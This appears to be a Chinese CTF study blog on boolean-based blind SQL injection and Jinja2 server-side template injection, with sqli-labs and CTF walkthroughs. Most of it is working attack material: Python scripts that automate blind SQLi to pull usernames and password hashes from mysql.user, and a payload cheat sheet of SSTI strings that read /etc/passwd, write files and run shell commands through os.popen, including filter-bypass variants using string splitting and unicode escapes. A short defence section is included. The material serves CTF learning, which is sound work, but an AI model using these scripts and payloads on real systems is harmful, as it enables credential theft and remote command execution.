关于布尔盲注
什么是布尔盲注?
布尔盲注是一种 SQL 注入攻击技术,攻击者利用真假值来推断数据库中的信息。它不需要注入恶意 SQL 代码,而是通过观察服务器响应的差异来获取信息。
原理
布尔盲注利用了布尔运算符,例如and和or。攻击者构造 SQL 查询,其中包含一个布尔表达式,该表达式会根据数据库中数据的真假值返回不同的结果。
适用情况
页面没有显示位,没有报错信息,只有成功和不成功两种情况。
攻击步骤
第一步:猜测长度
一般在使用布尔盲注时,我们要准确的猜测出正确的数据库名或表名,我们需要先知道他的长度,这时我们需要用到MYSQL的length()函数来判断长度。
例如:
?id=1' and length(database())=1 --+
?id=1' and length(database())=2 --+
?id=1' and length(database())=3 --+
?id=1' and length(database())=4 --+
?id=1' and length(database())=n --+
猜测长度从一开始猜测,知道猜到正确长度为止,当猜测长度错误时,会没有回显或回显异常,猜测长度正确时,回显正常
第二步:利用穷举猜测字符
我们知道,查询结果由一个个字符组成,每一个字符有95种可能性(大小写字母、数字、特殊符号),它们对应的ASCLL编码是32~126。
使用MySQL的 substr()函数截取查询结果的第一个字符,使用 ascii()函数 将截取的字符转换成 ASCLL编码,依次判断是否等于32,33,34……126。
例如:
?id=1' and ascii(substr( database(),1,1))=32 --+
?id=1' and ascii(substr( database(),1,1))=33 --+
?id=1' and ascii(substr( database(),1,1))=34 --+
......
?id=1' and ascii(substr( database(),1,1))=126 --+
这是猜测第一位字符的,那么猜测第n位字符则是
?id=1' and ascii(substr( database(),n,1))=x(32--126) --+
和猜测长度一样,当回显为空或者回显异常时,说明我们猜测的字符是错的,当回显正常时,说明我们猜测ASCLL编码所对应的字符是对的。
ASCLL编码表
总体思路
- 爆库名长度
- 根据库名长度爆库名
- 对当前库爆表数量
- 根据库名和表数量爆表名长度
- 根据表名长度爆表名
- 对表爆列数量
- 根据表名和列数量爆列名长度
- 根据列名长度爆列名
- 根据列名爆数据值
防御措施
防止布尔盲注攻击的最佳方法是使用安全编码实践,例如:
- 使用参数化查询或预编译语句:这可以防止 SQL 注入,因为它将用户输入与 SQL 查询分开。
- 对用户输入进行验证和清理:这可以防止攻击者注入恶意字符。
- 限制对敏感数据的访问:这可以减少攻击者可以访问的信息量。
- 使用 Web 应用程序防火墙 (WAF):这可以检测和阻止注入攻击。
- 定期更新软件和补丁程序:这可以修复已知的漏洞。
结论
布尔盲注是一种隐蔽且危险的 SQL 注入攻击技术。通过了解其原理和防御措施,Web 应用程序开发人员可以保护他们的应用程序免受此类攻击。
我么使用sqlli-labs靶场的第五关来解释一下布尔盲注的原理
sqlli-labs靶场第五关
输入
?id=1'
出现报错,判断字符型注入
输入
id=-1'order by 3--+
时没有回显,需要使用其他方法。。。
去搜了大佬们的WP,这儿我们需要使用布尔盲注
布尔盲注,需要耗费大量的时间,它主要用到length()、ascii() 、substr()这三个函数。
输入
?id=1' and length(database())=1 --+
?id=1' and length(database())=2 --+
?id=1' and length(database())=3 --+
?id=1' and length(database())=4 --+
?id=1' and length(database())=5 --+
?id=1' and length(database())=6 --+
?id=1' and length(database())=7 --+
?id=1' and length(database())=8 --+
判断字符长度,到8时回显正常,说明字符长度为8
我们查询到的结果由一个一个字符组成,每一个字符可以是数字、英文字母、特殊符号,总共有95种可能,对应的ascll编码是32-126.
使用MySQL的 substr()函数截取查询结果的第一个字符,使用 ascii()函数 将截取的字符转换成 ASCLL编码,依次判断是否等于32,33,34……126。
输入
?id=1' and ascii(substr( database(),1,1))=32(32-126)--+
没有回显就代表猜测的字符是错的
输入
?id=1' and ascii(substr( database(),1,1))=115--+
时出现回显,SCLL编码的115对应的是字母s,所以第一个字符就是s
接着猜测后面的字符
?id=1' and ascii(substr( database(),1(1--8),1))=32(32--126)--+
最后一个一个的猜解出的答案为security,我们就得到了他的数据库名,接着用相同的办法去爆表名,字段名,最后得到flag,这个过程很繁琐,需要花费很长的时间,所以大多都是使用脚本去跑的。
布尔盲注脚本
GET请求
import requests
import re
# 只需要修改url 和 两个payload即可
# 目标网址(不带参数)
url = "http://XXXXX"
# 猜解长度使用的payload
payload_len = """?id=1' and length(
(select group_concat(user,password)
from mysql.user)
) < {n} -- a"""
# 枚举字符使用的payload
payload_str = """?id=1' and ascii(
substr(
(select group_concat(user,password)
from mysql.user)
,{n},1)
) = {r} -- a"""
# 获取长度
def getLength(url, payload):
length = 1 # 初始测试长度为1
while True:
response = requests.get(url= url+payload_len.format(n= length))
# 页面中出现此内容则表示成功
if 'You are in...........' in response.text:
print('测试长度完成,长度为:', length,)
return length;
else:
print('正在测试长度:',length)
length += 1 # 测试长度递增
# 获取字符
def getStr(url, payload, length):
str = '' # 初始表名/库名为空
# 第一层循环,截取每一个字符
for l in range(1, length+1):
# 第二层循环,枚举截取字符的每一种可能性
for n in range(33, 126):
response = requests.get(url= url+payload_str.format(n= l, r= n))
# 页面中出现此内容则表示成功
if 'You are in...........' in response.text:
str+= chr(n)
print('第', l, '个字符猜解成功:', str)
break;
return str;
# 开始猜解
try:
length = getLength(url, payload_len)
user_pass = getStr(url, payload_str, length)
# 使用正则表达式提取用户名和密码
match = re.search(r"user: (.*?) password: (.*)", user_pass)
if match:
print("用户名:", match.group(1))
print("密码:", match.group(2))
else:
print("提取用户名和密码失败")
except requests.exceptions.RequestException as e:
print("HTTP请求失败:", e)
POST请求
import requests
import re
# 网站路径
url = "http://7eb82265178a435aa86d6728e7b1e08a.app.mituan.zone/Less-13/"
# 判断长度的payload
payload_len = """a') or length(
(select group_concat(user,password)
from mysql.user)
)>{n} -- a"""
# 枚举字符的payload
payload_str = """a') or ascii(
substr(
(select group_concat(user,password)
from mysql.user)
,{l},1)
)={n} -- a"""
# post请求参数
data= {
"uname" : "a') or 1 -- a",
"passwd" : "1",
"submit" : "Submit"
}
# 判断长度
def getLen(payload_len):
length = 1
while True:
# 修改请求参数
data["uname"] = payload_len.format(n = length)
response = requests.post(url=url, data=data)
# 出现此内容为登录成功
if '../images/flag.jpg' in response.text:
print('正在测试长度:', length)
length += 1
else:
print('测试成功,长度为:', length)
return length;
# 枚举字符
def getStr(length):
str = ''
# 从第一个字符开始截取
for l in range(1, length+1):
# 枚举字符的每一种可能性
for n in range(32, 126):
data["uname"] = payload_str.format(l=l, n=n)
response = requests.post(url=url, data=data)
if '../images/flag.jpg' in response.text:
str += chr(n)
print('第', l, '个字符枚举成功:',str )
break
try:
length = getLen(payload_len)
user_pass = getStr(length)
# 使用正则表达式提取用户名和密码
match = re.search(r"user: (.*?) password: (.*)", user_pass)
if match:
print("用户名:", match.group(1))
print("密码:", match.group(2))
else:
print("提取用户名和密码失败")
except requests.exceptions.RequestException as e:
print("HTTP请求失败:", e)
关于SSTI
SSTI(Server-Side Template Injection)是一种服务器端模板注入漏洞,它出现在使用模板引擎的Web应用程序中。模板引擎是一种将动态数据与静态模板结合生成最终输出的工具。然而,如果在构建模板时未正确处理用户输入,就可能导致SSTI漏洞的产生。
sql注入的成因是:当后端脚本语言进行数据库查询时,可以构造输入语句来进行拼接,从而实现恶意sql查询。
SSTI与其相似,服务端将输入作为web应用模板内容的一部分,在进行目标编译渲染的过程中,拼接了恶意语句,因此造成敏感信息泄露、远程命令执行等问题。
SSTI当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
引发SSTI原因
引发SSTI漏洞的原因是因为render_template渲染函数的问题。渲染函数在渲染的时候,往往对用户输入的变量不做渲染。也就是说例如:{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2。如此一来就可以实现如同sql注入一样的注入漏洞。
SSTI类型--Python中的SSTI--jinja
1、Jinja2:Jinja2是Python语言中广泛使用的模板引擎,被许多Web框架(如Flask和Django)所采用。Jinja2 是一个现代的,设计者友好的,仿照 Django 模板的 Python 模板语言。 它速度快,被广泛使用,并且提供了可选的沙箱模板执行环境保证安全;
欢迎来到 Jinja2 — Jinja2 2.7 documentation
2、Mako:Mako是另一个在Python中常用的模板引擎,它具有简单易用的语法和高性能的特点。
3、Django模板引擎:针对Django框架而言,它自带了一个强大的模板引擎,为开发人员提供了丰富的模板标签和过滤器。
SSTI类型判断
关于SSTI类型的判断,其实一张图就能够完全说明
根据他的返回值来判断
SSTI常用类
__class__:表示实例对象所属的类。
__base__:类型对象的直接基类。
__bases__:类型对象的全部基类(以元组形式返回),通常实例对象没有此属性。
__mro__:一个由类组成的元组,在方法解析期间用于查找基类。
__subclasses__():返回该类的所有子类的列表。每个类都保留对其直接子类的弱引用。此方法返回仍然存在的所有这些引用的列表,并按定义顺序排序。
__init__:初始化类的构造函数,返回类型为function的方法。
__globals__:通过函数名.__globals__获取函数所在命名空间中可用的模块、方法和所有变量。
__dict__:包含类的静态函数、类函数、普通函数、全局变量以及一些内置属性的字典。
__getattribute__():存在于实例、类和函数中的__getattribute__魔术方法。实际上,当针对实例化的对象进行点操作(例如:a.xxx / a.xxx())时,都会自动调用__getattribute__方法。因此,我们可以通过这个方法直接访问实例、类和函数的属性。
__getitem__():调用字典中的键值,实际上是调用此魔术方法。例如,a['b'] 就是 a.__getitem__('b')。
__builtins__:内建名称空间,包含一些常用的内建函数。__builtins__与__builtin__的区别可以通过搜索引擎进一步了解。
__import__:动态加载类和函数,也可用于导入模块。常用于导入os模块,例如__import__('os').popen('ls').read()。
__str__():返回描述该对象的字符串,通常用于打印输出。
常用playload
#读取文件类,<type ‘file’> file位置一般为40,直接调用
{{[].__class__.__base__.__subclasses__()[40]('flag').read()}}
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()}}
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()}}
{{[].__class__.__base__.__subclasses__()[257]('flag').read()}} (python3)
#直接使用popen命令,python2是非法的,只限于python3
os._wrap_close 类里有popen
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}
#调用os的popen执行命令
#python2、python3通用
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls /flag').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat /flag').read()}}
{{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}}
#python3专属
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['os'].popen('ls /').read()}}
#调用eval函数读取
#python2
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{{"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')}}
#python3
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']}}
{{"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
#调用 importlib类
{{''.__class__.__base__.__subclasses__()[128]["load_module"]("os")["popen"]("ls /").read()}}
#调用linecache函数
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['linecache']['os'].popen('ls /').read()}}
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache']['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}}
#调用communicate()函数
{{''.__class__.__base__.__subclasses__()[128]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}
#写文件
写文件的话就直接把上面的构造里的read()换成write()即可,下面举例利用file类将数据写入文件。
{{"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')}} ----python2的str类型不直接从属于基类,所以payload中含有两个 .__bases__
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').write('123456')}}
#通用 getshell
原理:找到含有 __builtins__ 的类,利用即可。
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
这个是我目前见过最完整的playload(不管什么题构造的playload都是这种)
{{''.__class__.__base__.__subclasses__()[185].__init__.__globals__.__builtins__.__import__('os').popen('cat /flag').read()}}
关于拼接绕过
我们假设当class被过滤了时,我们可以使用拼接绕过,__class__ ————> ['__cla'+'ss__']
中间用+号连接
# 假设关键字class被过滤
{{ ().__class__ }}
# +号绕过,payload:
{{ ()['__cl'+'ass__'] }}
[HNCTF 2022 WEEK2]ez_SSTI
先打开环境,看了WP才知道参数是name(他们也是忙猜的。。。)
输入
?name={{7*7}}
根据上边图判断出模板类型是jinja2,其实题目也给了提示
接着我们找到了class 'os._wrap_close类,定位他的位置是137
输入
?mame={{""._class_._bases__[0].__subclasses__()[137]}}
确定一下
因为 os._wrap_close 类里有popen命令,我们可以直接使用popen命令执行,输入
?name={{"".__class__.__bases__[0].__subclasses__()[137].__init__.__globals__.popen('ls').read()}}
看到了flag
我们就直接读取flag,输入
?name={{"".__class__.__bases__[0].__subclasses__()[137].__init__.__globals__.popen('tac flag').read()}}
得到flag
[NCTF 2018]flask真香
打开环境,翻页发现,题目已经给了提示是SSTI模板注入的jinja2类型,那就直接不用判断了
输入
{{''.__class__}}
没有回显
慢慢试错后发现过滤了class、getattr、builtins、import、os
使用字符串拼接绕过,输入
{{()['__cla'+'ss__'].__bases__[0]['__subcl'+'asses__']()}}
接着找到了<class 'os._wrap_close'>,他的位置是在240
输入
{{''['__cl'+'ass__'].__bases__[0]['__subcl'+'asses__']()[240].__init__.__globals__['__bui'+'ltins__']['ev'+'al']("__im"+"port__('o'+'s').po"+"pen('ls /').read()")}}
看到了flag
直接读取
{{''['__cl'+'ass__'].__bases__[0]['__subcl'+'asses__']()[240].__init__.__globals__['__bui'+'ltins__']['ev'+'al']("__im"+"port__('o'+'s').po"+"pen('cat /Th1s_is__F1114g').read()")}}
得到flag
[安洵杯 2020]Normal SSTI
关于这一题过滤了巨多的东西,看了很多WP,但还是不能够完全的理解,。。。。注入在我这儿永远是个坑。。。
首先呢,就是{{}}被过滤了,这儿我们可以使用{%%}进行绕过
然后呢就是.和[ ]被过滤了,所以,我们可以用|attr(“__class__”)进行绕过,这儿
|attr(“__class__”)就等于.__class__,并不是只有这一个,关于类似于要使用xxx.os(‘xxx’)类似的方法,都可以使用xxx|attr(“os”)(‘xxx’)来进行绕过
下划线被过滤了,这儿我们就需要使用unicode编码进行绕过
这一题我们需要使用flask里的lipsum方法来执行命令:flask里的lipsum方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块
打开环境,给了提示,需要我们在url后面接text/url=
test?url={%print(()|attr(%22\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f%22))%}
#这儿是进行过了unicode编码的其实他就等于{{""._class_}}
接着我们继续寻找OS模块
url={%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22))%}
这儿的意思就是{{lipsum.__globals__}}
接下来我们引用popen来查看目录
url={%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22)|attr(%22\u0067\u0065\u0074%22)(%22os%22)|attr(%22\u0070\u006f\u0070\u0065\u006e%22)(%22\u006c\u0073\u0020\u002f%22)|attr(%22\u0072\u0065\u0061\u0064%22)())%}
这儿等于{{lipsum.__globals__.get("os").popen("ls").read()}}
看到flag了呗,接下来还不简单
url={%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22)|attr(%22\u0067\u0065\u0074%22)(%22os%22)|attr(%22\u0070\u006f\u0070\u0065\u006e%22)(%22\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067%22)|attr(%22\u0072\u0065\u0061\u0064%22)())%}
这儿等于{{config.__class__.__init__.__globals__.get(“os”).popen('cat flag').read()}}
得到flag